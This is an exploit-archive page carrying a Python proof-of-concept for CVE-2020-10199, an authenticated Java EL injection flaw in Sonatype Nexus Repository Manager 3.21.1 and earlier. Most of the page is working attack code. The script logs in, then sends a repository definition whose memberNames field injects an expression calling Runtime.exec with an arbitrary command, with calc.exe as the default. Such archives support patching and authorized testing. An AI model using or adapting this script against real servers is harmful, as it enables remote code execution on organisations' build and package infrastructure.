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Sonatype Nexus 3.21.1 Remote Code Execution

Sonatype Nexus 3.21.1 Remote Code Execution
Posted Jan 7, 2021
Authored by 1F98D

Sonatype Nexus version 3.21.1 suffers from an authenticated remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2020-10199
SHA-256 | d8b1ad15495ef283352b6263e8b025b0ccf7349179f8c4e37eb756adbe9fb845

Sonatype Nexus 3.21.1 Remote Code Execution

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# Exploit Title: Sonatype Nexus 3.21.1 - Remote Code Execution (Authenticated)
# Exploit Author: 1F98D
# Original Author: Alvaro Muñoz
# Date: 27 May 2020
# Vendor Hompage: https://www.sonatype.com/
# CVE: CVE-2020-10199
# Tested on: Windows 10 x64
# References:
# https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype
# https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype
#
# Nexus Repository Manager 3 versions 3.21.1 and below are vulnerable
# to Java EL injection which allows a low privilege user to remotely
# execute code on the target server.
#
#!/usr/bin/python3

import sys
import base64
import requests

URL='http://192.168.1.1:8081'
CMD='cmd.exe /c calc.exe'
USERNAME='admin'
PASSWORD='password'

s = requests.Session()
print('Logging in')
body = {
'username': base64.b64encode(USERNAME.encode('utf-8')).decode('utf-8'),
'password': base64.b64encode(PASSWORD.encode('utf-8')).decode('utf-8')
}
r = s.post(URL + '/service/rapture/session',data=body)
if r.status_code != 204:
print('Login unsuccessful')
print(r.status_code)
sys.exit(1)
print('Logged in successfully')

body = {
'name': 'internal',
'online': True,
'storage': {
'blobStoreName': 'default',
'strictContentTypeValidation': True
},
'group': {
'memberNames': [
'$\\A{\'\'.getClass().forName(\'java.lang.Runtime\').getMethods()[6].invoke(null).exec(\''+CMD+'\')}"'
]
},
}
r = s.post(URL + '/service/rest/beta/repositories/go/group', json=body)
if 'java.lang.ProcessImpl' in r.text:
print('Command executed')
sys.exit(0)
else:
print('Error executing command, the following was returned by Nexus')
print(r.text)


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